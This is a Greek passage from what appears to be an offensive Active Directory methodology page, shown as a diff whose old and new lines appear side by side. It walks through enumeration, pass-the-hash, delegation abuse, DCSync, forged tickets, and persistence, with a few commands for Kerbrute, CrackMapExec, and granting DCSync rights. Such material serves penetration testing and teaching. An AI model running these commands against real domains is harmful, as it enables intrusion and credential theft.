- **Ανώνυμη SMB/LDAP enum:** Ελέγξτε τις σελίδες [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) και [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρήστη** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι ο χρήστης απαιτείται να εκτελέσει προαυθεντικοποίηση.
- **Kerbrute enum**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρήστη** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι απαιτείται από τον χρήστη να εκτελέσει προαυθεντικοποίηση.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -141,7 +141,7 @@ password-spraying.md
## Καταγραφή Active Directory ΜΕ πιστοποιήσεις/συνεδρία
Για αυτή τη φάση πρέπει να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**.
Για αυτή τη φάση χρειάζεστε να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**.
Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλού hop Kerberos.**
@ -151,14 +151,14 @@ kerberos-double-hop-problem.md
### Καταγραφή
Η κατοχή ενός λογαριασμού είναι ένα **μεγάλο βήμα για να αρχίσετε να συμβιβάζετε ολόκληρο το τομέα**, γιατί θα μπορείτε να ξεκινήσετε την **Καταγραφή Active Directory:**
Η συμβιβασμένη λογαριασμός είναι ένα **μεγάλο βήμα για να αρχίσετε να συμβιβάζετε ολόκληρο το τομέα**, γιατί θα μπορείτε να ξεκινήσετε την **Καταγραφή Active Directory:**
Αναφορικά με [**ASREPRoast**](asreproast.md) μπορείτε τώρα να βρείτε κάθε πιθανό ευάλωτο χρήστη, και αναφορικά με [**Password Spraying**](password-spraying.md) μπορείτε να αποκτήσετε μια **λίστα με όλα τα ονόματα χρηστών** και να δοκιμάσετε τον κωδικό του συμβιβασμένου λογαριασμού, κενές κωδικούς και νέους υποσχόμενους κωδικούς.
Αναφορικά με [**ASREPRoast**](asreproast.md) μπορείτε τώρα να βρείτε κάθε πιθανό ευάλωτο χρήστη, και αναφορικά με [**Password Spraying**](password-spraying.md) μπορείτε να αποκτήσετε μια **λίστα με όλα τα ονόματα χρηστών** και να δοκιμάσετε τον κωδικό πρόσβασης του συμβιβασμένου λογαριασμού, κενές κωδικούς και νέους υποσχόμενους κωδικούς.
- Μπορείτε να χρησιμοποιήσετε το [**CMD για να εκτελέσετε μια βασική αναγνώριση**](../basic-cmd-for-pentesters.md#domain-info)
- Μπορείτε επίσης να χρησιμοποιήσετε [**powershell για αναγνώριση**](../basic-powershell-for-pentesters/index.html) που θα είναι πιο διακριτικό
- Μπορείτε επίσης να [**χρησιμοποιήσετε το powerview**](../basic-powershell-for-pentesters/powerview.md) για να εξαγάγετε πιο λεπτομερείς πληροφορίες
- Ένα άλλο καταπληκτικό εργαλείο για αναγνώριση σε ένα active directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ διακριτικό** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείτε), αλλά **αν δεν σας νοιάζει** γι' αυτό, θα πρέπει σίγουρα να το δοκιμάσετε. Βρείτε πού μπορούν οι χρήστες να RDP, βρείτε διαδρομές σε άλλες ομάδες, κ.λπ.
- Ένα άλλο καταπληκτικό εργαλείο για αναγνώριση σε ένα active directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ διακριτικό** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείτε), αλλά **αν δεν σας νοιάζει** γι' αυτό, θα πρέπει σίγουρα να το δοκιμάσετε. Βρείτε πού οι χρήστες μπορούν να RDP, βρείτε διαδρομές σε άλλες ομάδες, κ.λπ.
- **Άλλα αυτοματοποιημένα εργαλεία καταγραφής AD είναι:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records του AD**](ad-dns-records.md) καθώς μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
- Ένα **εργαλείο με GUI** που μπορείτε να χρησιμοποιήσετε για να καταγράψετε τον κατάλογο είναι το **AdExplorer.exe** από το **SysInternal** Suite.
@ -171,7 +171,7 @@ kerberos-double-hop-problem.md
Είναι πολύ εύκολο να αποκτήσετε όλα τα ονόματα χρηστών του τομέα από τα Windows (`net user /domain`, `Get-DomainUser` ή `wmic useraccount get name,sid`). Στο Linux, μπορείτε να χρησιμοποιήσετε: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ή `enum4linux -a -u "user" -p "password" <DC IP>`
> Ακόμα και αν αυτή η ενότητα καταγραφής φαίνεται μικρή, είναι το πιο σημαντικό μέρος όλων. Αποκτήστε πρόσβαση στους συνδέσμους (κυρίως αυτόν του cmd, powershell, powerview και BloodHound), μάθετε πώς να καταγράφετε ένα τομέα και εξασκηθείτε μέχρι να νιώσετε άνετα. Κατά τη διάρκεια μιας αξιολόγησης, αυτή θα είναι η κρίσιμη στιγμή για να βρείτε το δρόμο σας προς DA ή να αποφασίσετε ότι δεν μπορεί να γίνει τίποτα.
> Ακόμα και αν αυτή η ενότητα Καταγραφής φαίνεται μικρή, είναι το πιο σημαντικό μέρος όλων. Αποκτήστε πρόσβαση στους συνδέσμους (κυρίως αυτόν του cmd, powershell, powerview και BloodHound), μάθετε πώς να καταγράφετε ένα τομέα και εξασκηθείτε μέχρι να νιώσετε άνετα. Κατά τη διάρκεια μιας αξιολόγησης, αυτή θα είναι η κρίσιμη στιγμή για να βρείτε το δρόμο σας προς DA ή να αποφασίσετε ότι δεν μπορεί να γίνει τίποτα.
### Kerberoast
@ -185,11 +185,11 @@ kerberoast.md
### Απομακρυσμένη σύνδεση (RDP, SSH, FTP, Win-RM, κ.λπ.)
Μόλις έχετε αποκτήσει κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσες θυρών σας.
Μόλις έχετε αποκτήσει κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσεις θυρών σας.
### Τοπική Κλιμάκωση Προνομίων
Αν έχετε συμβιβαστεί πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα** θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για να **κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM).
Αν έχετε συμβιβασμένες πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα** θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για να **κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM).
Υπάρχει μια ολοκληρωμένη σελίδα σε αυτό το βιβλίο σχετικά με [**την τοπική κλιμάκωση προνομίων στα Windows**](../windows-local-privilege-escalation/index.html) και μια [**λίστα ελέγχου**](../checklist-windows-privilege-escalation.md). Επίσης, μην ξεχάσετε να χρησιμοποιήσετε [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
@ -205,17 +205,17 @@ kerberoast.md
```
### NTML Relay
Αν έχετε καταφέρει να καταγράψετε το active directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορείτε να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
Αν έχετε καταφέρει να καταγράψετε το active directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορεί να είστε σε θέση να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### **Ψάξτε για Creds σε Κοινές Χρήσεις Υπολογιστών**
Τώρα που έχετε κάποιες βασικές διαπιστώσεις, θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα, αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε).
Τώρα που έχετε κάποιες βασικές διαπιστεύσεις, θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα, αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε).
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε για εργαλεία που θα μπορούσατε να χρησιμοποιήσετε.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Κλέψτε NTLM Creds
Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινές χρήσεις**, μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο αποκτηθούν θα **προκαλέσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε:
Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινές χρήσεις**, θα μπορούσατε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο προσπελαστούν θα **προκαλέσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -229,15 +229,15 @@ kerberoast.md
printnightmare.md
{{#endref}}
## Ανύψωση προνομίων στο Active Directory ΜΕ προνομιακά διαπιστευτήρια/συνεδρία
## Ανάβαση προνομίων στο Active Directory ΜΕ προνομιακές διαπιστεύσεις/συνεδρία
**Για τις παρακάτω τεχνικές, ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστευτήρια για να εκτελέσετε αυτές τις επιθέσεις.**
**Για τις παρακάτω τεχνικές, ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστεύσεις για να εκτελέσετε αυτές τις επιθέσεις.**
### Εξαγωγή Hash
Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [ανύψωση προνομίων τοπικά](../windows-local-privilege-escalation/index.html).\
Στη συνέχεια, είναι ώρα να εξάγετε όλα τα hashes στη μνήμη και τοπικά.\
[**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [αναβάθμιση προνομίων τοπικά](../windows-local-privilege-escalation/index.html).\
Στη συνέχεια, είναι ώρα να εξάγετε όλους τους hash στη μνήμη και τοπικά.\
[**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Περάστε το Hash
@ -247,7 +247,7 @@ printnightmare.md
### Over Pass the Hash/Pass the Key
Αυτή η επίθεση στοχεύει να **χρησιμοποιήσει το NTLM hash του χρήστη για να ζητήσει Kerberos tickets**, ως εναλλακτική στο κοινό Pass The Hash μέσω του πρωτοκόλλου NTLM. Επομένως, αυτό θα μπορούσε να είναι ιδιαίτερα **χρήσιμο σε δίκτυα όπου το πρωτόκολλο NTLM είναι απενεργοποιημένο** και μόνο **Kerberos επιτρέπεται** ως πρωτόκολλο αυθεντικοποίησης.
Αυτή η επίθεση στοχεύει να **χρησιμοποιήσει το NTLM hash του χρήστη για να ζητήσει Kerberos tickets**, ως εναλλακτική στο κοινό Pass The Hash μέσω του πρωτοκόλλου NTLM. Επομένως, αυτό θα μπορούσε να είναι ιδιαίτερα **χρήσιμο σε δίκτυα όπου το πρωτόκολλο NTLM είναι απενεργοποιημένο** και μόνο το **Kerberos επιτρέπεται** ως πρωτόκολλο αυθεντικοποίησης.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -261,7 +261,7 @@ over-pass-the-hash-pass-the-key.md
pass-the-ticket.md
{{#endref}}
### Επαναχρησιμοποίηση Διαπιστευτηρίων
### Επαναχρησιμοποίηση Διαπιστεύσεων
Αν έχετε το **hash** ή τον **κωδικό πρόσβασης** ενός **τοπικού διαχειριστή**, θα πρέπει να προσπαθήσετε να **συνδεθείτε τοπικά** σε άλλους **υπολογιστές** με αυτό.
```bash
@ -274,8 +274,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### Κατάχρηση MSSQL & Εμπιστευμένοι Σύνδεσμοι
Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμη και να εκτελέσει μια **επίθεση** **relay**.\
Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Αν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\
Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμα και να εκτελέσει μια **επίθεση** **relay**.\
Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\
**Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.**
{{#ref}}
@ -303,7 +303,7 @@ constrained-delegation.md
### Αντιπροσώπευση Βασισμένη σε Πόρους
Έχοντας δικαίωμα **ΓΡΑΦΗΣ** σε ένα αντικείμενο Active Directory ενός απομακρυσμένου υπολογιστή επιτρέπει την απόκτηση εκτέλεσης κώδικα με **υψηλά δικαιώματα**:
Έχοντας **WRITE** δικαίωμα σε ένα αντικείμενο Active Directory ενός απομακρυσμένου υπολογιστή επιτρέπει την απόκτηση εκτέλεσης κώδικα με **υψηλά δικαιώματα**:
{{#ref}}
resource-based-constrained-delegation.md
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης Διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταφορά σε άλλους υπολογιστές.
**LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης Διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταπήδηση σε άλλους υπολογιστές.
{{#ref}}
laps.md
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
### Κατάχρηση Προτύπων Πιστοποιητικών
Εάν είναι ρυθμισμένα **ευάλωτα πρότυπα**, είναι δυνατόν να τα καταχραστείτε για να κλιμακώσετε δικαιώματα:
Εάν είναι ρυθμισμένα **ευάλωτα πρότυπα**, είναι δυνατόν να τα καταχραστείτε για να κλιμακώσετε τα δικαιώματα:
{{#ref}}
ad-certificates/domain-escalation.md
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
### Εξαγωγή Διαπιστεύσεων Τομέα
Μόλις αποκτήσετε δικαιώματα **Domain Admin** ή ακόμη καλύτερα **Enterprise Admin**, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_.
Μόλις αποκτήσετε **Domain Admin** ή ακόμα καλύτερα **Enterprise Admin** δικαιώματα, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_.
[**Περισσότερες πληροφορίες σχετικά με την επίθεση DCSync μπορείτε να βρείτε εδώ**](dcsync.md).
@ -385,7 +385,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- Χορηγήσετε [**DCSync**](#dcsync) δικαιώματα σε έναν χρήστη
- Χορηγήστε [**DCSync**](#dcsync) δικαιώματα σε έναν χρήστη
```powershell
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -411,15 +411,15 @@ golden-ticket.md
### Diamond Ticket
Αυτά είναι σαν χρυσά εισιτήρια που έχουν παραποιηθεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης χρυσών εισιτηρίων.**
Αυτά είναι όπως τα golden tickets που έχουν κατασκευαστεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης golden tickets.**
{{#ref}}
diamond-ticket.md
{{#endref}}
### **Επιμονή Λογαριασμών Πιστοποιητικών**
### **Επιμονή Λογαριασμού Πιστοποιητικών**
**Η κατοχή πιστοποιητικών ενός λογαριασμού ή η δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης):
**Έχοντας πιστοποιητικά ενός λογαριασμού ή έχοντας τη δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης):
{{#ref}}
ad-certificates/account-persistence.md
@ -435,11 +435,11 @@ ad-certificates/domain-persistence.md
### Ομάδα AdminSDHolder
Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· αν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίκτυπο, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά.
Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· εάν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίθετα αποτελέσματα, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά.
[**Περισσότερες πληροφορίες σχετικά με την Ομάδα AdminDSHolder εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### Διαπιστεύσεις DSRM
### Διαπιστευτήρια DSRM
Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας λογαριασμός **τοπικού διαχειριστή**. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού Διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό Διαχειριστή.
@ -474,7 +474,7 @@ skeleton-key.md
### Custom SSP
[Μάθετε τι είναι ένα SSP (Security Support Provider) εδώ.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Μπορείτε να δημιουργήσετε το **δικό σας SSP** για να **συλλάβετε** σε **καθαρό κείμενο** τις **διαπιστεύσεις** που χρησιμοποιούνται για την πρόσβαση στη μηχανή.\\
Μπορείτε να δημιουργήσετε το **δικό σας SSP** για να **συλλάβετε** σε **καθαρό κείμενο** τις **διαπιστεύσεις** που χρησιμοποιούνται για την πρόσβαση στη μηχανή.
{{#ref}}
custom-ssp.md
@ -498,29 +498,29 @@ dcshadow.md
laps.md
{{#endref}}
## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστοσύνες Τομέα
## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστευμένοι Τομείς
Η Microsoft βλέπει το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η κατάχρηση ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε ολόκληρο το Δάσος να είναι συμβιβασμένο**.
### Βασικές Πληροφορίες
Μια [**εμπιστοσύνη τομέα**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) είναι ένας μηχανισμός ασφαλείας που επιτρέπει σε έναν χρήστη από έναν **τομέα** να έχει πρόσβαση σε πόρους σε έναν άλλο **τομέα**. Δημιουργεί ουσιαστικά μια σύνδεση μεταξύ των συστημάτων αυθεντικοποίησης των δύο τομέων, επιτρέποντας την ομαλή ροή των επαληθεύσεων αυθεντικοποίησης. Όταν οι τομείς ρυθμίζουν μια εμπιστοσύνη, ανταλλάσσουν και διατηρούν συγκεκριμένα **κλειδιά** μέσα στους **Domain Controllers (DCs)** τους, τα οποία είναι κρίσιμα για την ακεραιότητα της εμπιστοσύνης.
Ένας [**εμπιστευμένος τομέας**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) είναι ένας μηχανισμός ασφαλείας που επιτρέπει σε έναν χρήστη από έναν **τομέα** να έχει πρόσβαση σε πόρους σε έναν άλλο **τομέα**. Δημιουργεί ουσιαστικά μια σύνδεση μεταξύ των συστημάτων αυθεντικοποίησης των δύο τομέων, επιτρέποντας την ομαλή ροή των επαληθεύσεων αυθεντικοποίησης. Όταν οι τομείς ρυθμίζουν μια εμπιστοσύνη, ανταλλάσσουν και διατηρούν συγκεκριμένα **κλειδιά** μέσα στους **Domain Controllers (DCs)** τους, τα οποία είναι κρίσιμα για την ακεραιότητα της εμπιστοσύνης.
Σε ένα τυπικό σενάριο, εάν ένας χρήστης σκοπεύει να έχει πρόσβαση σε μια υπηρεσία σε έναν **εμπιστευμένο τομέα**, πρέπει πρώτα να ζητήσει ένα ειδικό εισιτήριο γνωστό ως **inter-realm TGT** από τον DC του δικού του τομέα. Αυτό το TGT είναι κρυπτογραφημένο με ένα κοινό **κλειδί** που έχουν συμφωνήσει και οι δύο τομείς. Ο χρήστης στη συνέχεια παρουσιάζει αυτό το TGT στον **DC του εμπιστευμένου τομέα** για να αποκτήσει ένα εισιτήριο υπηρεσίας (**TGS**). Μετά την επιτυχή επαλήθευση του inter-realm TGT από τον DC του εμπιστευμένου τομέα, εκδίδει ένα TGS, παρέχοντας στον χρήστη πρόσβαση στην υπηρεσία.
**Βήματα**:
1. Ένας **υπολογιστής-πελάτης** στον **Τομέα 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του.
2. Ο DC1 εκδίδει ένα νέο TGT αν ο πελάτης αυθεντικοποιηθεί επιτυχώς.
2. Ο DC1 εκδίδει ένα νέο TGT εάν ο πελάτης αυθεντικοποιηθεί επιτυχώς.
3. Ο πελάτης στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο είναι απαραίτητο για να αποκτήσει πρόσβαση σε πόρους στον **Τομέα 2**.
4. Το inter-realm TGT είναι κρυπτογραφημένο με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα.
4. Το inter-realm TGT κρυπτογραφείται με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα.
